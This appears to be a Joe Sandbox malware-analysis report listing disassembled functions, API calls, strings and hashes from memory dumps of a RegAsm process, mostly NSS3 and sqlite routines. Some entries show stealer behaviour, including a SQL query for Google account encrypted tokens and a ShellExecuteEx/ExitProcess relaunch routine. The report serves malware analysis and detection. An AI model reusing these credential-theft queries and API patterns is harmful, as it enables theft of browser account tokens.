Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d8ffc01e158dcd01871e619a38886f0d2141fcccc7890229942c054bf3be98b6
Instruction ID: 0bed234548fff2f505f0d20351ccb8b4d67f7db772611feac8817b58d25eaf7d
Opcode Fuzzy Hash: d8ffc01e158dcd01871e619a38886f0d2141fcccc7890229942c054bf3be98b6
Instruction Fuzzy Hash: 52F17C71E01209CBDB04CF94D8407AEB7B2BF49398F35416AE915AB781E775E982CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD54480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CD94843,?), ref: 6CD545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CD94843,?), ref: 6CD5468A
free.MOZGLUE(?,?,?,?,?,?,6CD94843,?), ref: 6CD546C9
free.MOZGLUE(?), ref: 6CD546EF
free.MOZGLUE(?), ref: 6CD54712
free.MOZGLUE(?), ref: 6CD54735
free.MOZGLUE(?), ref: 6CD54758
free.MOZGLUE(?), ref: 6CD5477B
free.MOZGLUE(?), ref: 6CD5479E

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 533c6597974f8c126ad2e251c452827118db1eab31e7d4c6fa921afe5eae82a2
Instruction ID: c0da0c2f292f2075bade642c2f290638a0fc1f7989b898390285aa0d0dc05efd
Opcode Fuzzy Hash: 533c6597974f8c126ad2e251c452827118db1eab31e7d4c6fa921afe5eae82a2
Instruction Fuzzy Hash: 8FB1F571A001508FDF189F3CC89076D7BA2AF42328F984629E416DBBE6D730D8748B93

Uniqueness

Uniqueness Score: -1.00%

Function 6CDBAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CDBAC52
CreateFileMappingW.KERNEL32 ref: 6CDBAC7D
GetSystemInfo.KERNEL32 ref: 6CDBAC98
MapViewOfFile.KERNEL32 ref: 6CDBACB0
GetSystemInfo.KERNEL32 ref: 6CDBACCD
MapViewOfFile.KERNEL32 ref: 6CDBAD05
UnmapViewOfFile.KERNEL32 ref: 6CDBAD1C
CloseHandle.KERNEL32 ref: 6CDBAD28
UnmapViewOfFile.KERNEL32 ref: 6CDBAD37
CloseHandle.KERNEL32 ref: 6CDBAD43
CloseHandle.KERNEL32 ref: 6CDBAD67

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: cc6a49618b82495348b5e86c052fe337c714f5cd22243d2deaa698f95db595c1
Instruction ID: ad07f6fb37465f168fa5e472e65c3e90e3d74998a1179205cfc5f3cb697d007e
Opcode Fuzzy Hash: cc6a49618b82495348b5e86c052fe337c714f5cd22243d2deaa698f95db595c1
Instruction Fuzzy Hash: FC3162B19047059FEB00AF7CD64866EBBF4BF85705F014A2DEA8997251EB70A548CB82

Uniqueness

Uniqueness Score: -1.00%

Function 004081AC Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 308stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004081B1

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

lstrlen.KERNEL32(00000000), ref: 004083D3

Part of subcall function 0040FA81: LocalAlloc.KERNEL32(00000040,00411BB2,00000001,00000000,?,00411BB1,00000000,00000000), ref: 0040FA9A

StrStrA.SHLWAPI(00000000,AccountId), ref: 004083F8
lstrlen.KERNEL32(00000000), ref: 004084E2
lstrlen.KERNEL32(00000000), ref: 004084F6

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 00406798: _EH_prolog.MSVCRT ref: 0040679D
Part of subcall function 00406798: memcmp.MSVCRT ref: 004067C3
Part of subcall function 00406798: memset.MSVCRT ref: 004067F2
Part of subcall function 00406798: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00000000), ref: 00406827

Strings

GoogleAccounts, xrefs: 004081E2
SELECT service, encrypted_token FROM token_service, xrefs: 0040834F
GoogleAccounts, xrefs: 00408265
AccountId, xrefs: 004083F2

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 832884763-1713091031
Opcode ID: 072e6d50ce688b98c1bfd04170eda377ea950897fde8439b0dc46ba5938bb0df
Instruction ID: 9c038413707520045145a7c655bdba72d2ed71d8bbd9893ab2e7f67eee6c326d
Opcode Fuzzy Hash: 072e6d50ce688b98c1bfd04170eda377ea950897fde8439b0dc46ba5938bb0df
Instruction Fuzzy Hash: CCC14D31804248EADB09EBE5D955BDDBBB4AF28308F50486EF402732C2EF795B18D765

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CEA6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6CA3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEA6CD5

Strings

hSession = 0x%x, xrefs: 6CEA6C7E, 6CEA6C8E
pMechanism = 0x%p, xrefs: 6CEA6CD0
(CK_INVALID_HANDLE), xrefs: 6CEA6C9C
C_DigestInit, xrefs: 6CEA6C61

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: feed0301a256e0ce9b59f230bfefd68e68e597f4613ee43c34367a90b52c86da
Instruction ID: 457c892c494fed0515303c3099edab86f2dc0ac8a8b06f28ed0b6a8cb648826d
Opcode Fuzzy Hash: feed0301a256e0ce9b59f230bfefd68e68e597f4613ee43c34367a90b52c86da
Instruction Fuzzy Hash: C2210930A11154BFDB409FA89D4DF5A77B9EB4731CF554029E8099BB01DB31AD0AC7D1

Uniqueness

Uniqueness Score: -1.00%

Function 004120B7 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004120BC
memset.MSVCRT ref: 004120D9
memset.MSVCRT ref: 004120E5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,00000000), ref: 004120FA

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

ShellExecuteEx.SHELL32(0000003C), ref: 0041219B
memset.MSVCRT ref: 004121A8
memset.MSVCRT ref: 004121B6
ExitProcess.KERNEL32 ref: 004121C7

Strings

<, xrefs: 00412176

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$lstrcpy$H_prolog$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 3801913413-4251816714
Opcode ID: eab79a3642f594aa94ab86545914aff10160c8272bcaef6fe51c2f984266ea19
Instruction ID: 3238e3ea43053b7878c610af0d06e8514d316670fd8b46b8585844821768ee8f
Opcode Fuzzy Hash: eab79a3642f594aa94ab86545914aff10160c8272bcaef6fe51c2f984266ea19
Instruction Fuzzy Hash: DC31EBB1C0025CAADB01EFE5DC859EEBBBCAF14304F40446EF505B3182DB395A49CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CE76DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE77D8F,6CE77D8F,?,?), ref: 6CE76DC8

Part of subcall function 6CECFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CECFE08
Part of subcall function 6CECFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CECFE1D
Part of subcall function 6CECFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CECFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE77D8F,?,?), ref: 6CE76DD5

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FA0,00000000,?,?,?,?,6CE77D8F,?,?), ref: 6CE76DF7

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE76E35

Part of subcall function 6CECFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CECFE29
Part of subcall function 6CECFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CECFE3D
Part of subcall function 6CECFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CECFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE76E4C

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FE0,00000000), ref: 6CE76E82

Part of subcall function 6CE76AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE7B21D,00000000,00000000,6CE7B219,?,6CE76BFB,00000000,?,00000000,00000000,?,?,?,6CE7B21D), ref: 6CE76B01
Part of subcall function 6CE76AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE76B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE76F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE76F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FE0,00000000), ref: 6CE76F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE77D8F,?,?), ref: 6CE76FE1

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 72a2ac55da39822bbfc229bea140d00cfd16bb73372324ddd4ce8808fbd29e94
Instruction ID: e5a7cdf835c8bad5d1bb76acd6013180f99a82596cbfc572c6c7b1064162c2dd
Opcode Fuzzy Hash: 72a2ac55da39822bbfc229bea140d00cfd16bb73372324ddd4ce8808fbd29e94
Instruction Fuzzy Hash: 73719E71E106469BEB14CF55CD41AAA7BB8FF9430CF254229E818D7B11E730EA94CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEF1
free.MOZGLUE(6CE9CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?), ref: 6CEBAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAF30

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 6374bf33b8dc75e88294aa0e34a1b0fef56a7aca13d44624b582e72c0a9a0a7e
Instruction ID: 7d97253dac0529d2e9a465e4ad2b5741d3b5087e27ac1fb110522250cf250ebe
Opcode Fuzzy Hash: 6374bf33b8dc75e88294aa0e34a1b0fef56a7aca13d44624b582e72c0a9a0a7e
Instruction Fuzzy Hash: E7519CB5A40602AFDF41DF29D985B66B7B4BF05318F244268E808A7F11E731F9A4CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE94CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE9AB7F,?,00000000,?), ref: 6CE94CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE9AB7F,?,00000000,?), ref: 6CE94CC8
TlsGetValue.KERNEL32(?,6CE9AB7F,?,00000000,?), ref: 6CE94CE0
EnterCriticalSection.KERNEL32(?,?,6CE9AB7F,?,00000000,?), ref: 6CE94CF4
PL_HashTableLookup.NSS3(?,?,?,6CE9AB7F,?,00000000,?), ref: 6CE94D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE94D10

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE94D26

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE94D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE94DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE94E02

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f9df5bc36444632d0072a72943f0fe4c13d9ee6840f4dcdcdd85e73e08c8d5b7
Instruction ID: 23bb0010e8b5f7efb018856326fe82c62ac5f2d5aea0d3c4797b009e66b8db41
Opcode Fuzzy Hash: f9df5bc36444632d0072a72943f0fe4c13d9ee6840f4dcdcdd85e73e08c8d5b7
Instruction Fuzzy Hash: 7A41A6BAE102059BEB019F68EC44A6677B8AF0621CF254175EC1987B21EB31E954C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CDFCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDFB999), ref: 6CDFCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDFB999), ref: 6CDFD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDFB999), ref: 6CDFD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDFB999), ref: 6CF4972B

Strings

database corruption, xrefs: 6CDFCFE7, 6CDFD013, 6CDFD028, 6CDFD039, 6CDFD03E, 6CF49786
%s at line %d of [%.10s], xrefs: 6CDFCFEC, 6CDFD018, 6CDFD029, 6CDFD03F, 6CF4978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFCFDD, 6CDFD00E, 6CDFD022, 6CDFD033, 6CF49780

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 575c2c830ece78f67014ec456d3c44293272428fe6efab97c65e5e2d484a94ff
Instruction ID: 757b1bbc9ad0283f5e420a37f60e2f231d7197bb4961ac34fb41318ca01e0692
Opcode Fuzzy Hash: 575c2c830ece78f67014ec456d3c44293272428fe6efab97c65e5e2d484a94ff
Instruction Fuzzy Hash: 9B612671A042109BD310CF29C840BA6BBF5FF95318F2985ADE4499FB82D376E947C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CED4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CED536F,00000022,?,?,00000000,?), ref: 6CED4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CED4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CED4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CED4FAE
free.MOZGLUE(?), ref: 6CED4FC8

Strings

oSl", xrefs: 6CED4DFB, 6CED4EF4, 6CED4EC5
%s=%s, xrefs: 6CED4F89
%s=%c%s%c, xrefs: 6CED4FA9

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 1e42e841d6a0e587cfaa3033ea81d127c83eb1049c3373c7f0781c0230ece55b
Instruction ID: dd4b8512e14cb15bf7c3c4062938e7bb16a1e836aee3ca0df1a5f6879d3e01cb
Opcode Fuzzy Hash: 1e42e841d6a0e587cfaa3033ea81d127c83eb1049c3373c7f0781c0230ece55b
Instruction Fuzzy Hash: 7F514D61A0414B9BEB01CB69C4517FF7BF59F6630CF3A4117EC94ABB40D325A9078791

Uniqueness

Uniqueness Score: -1.00%

Function 0040F116 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 0040F12B
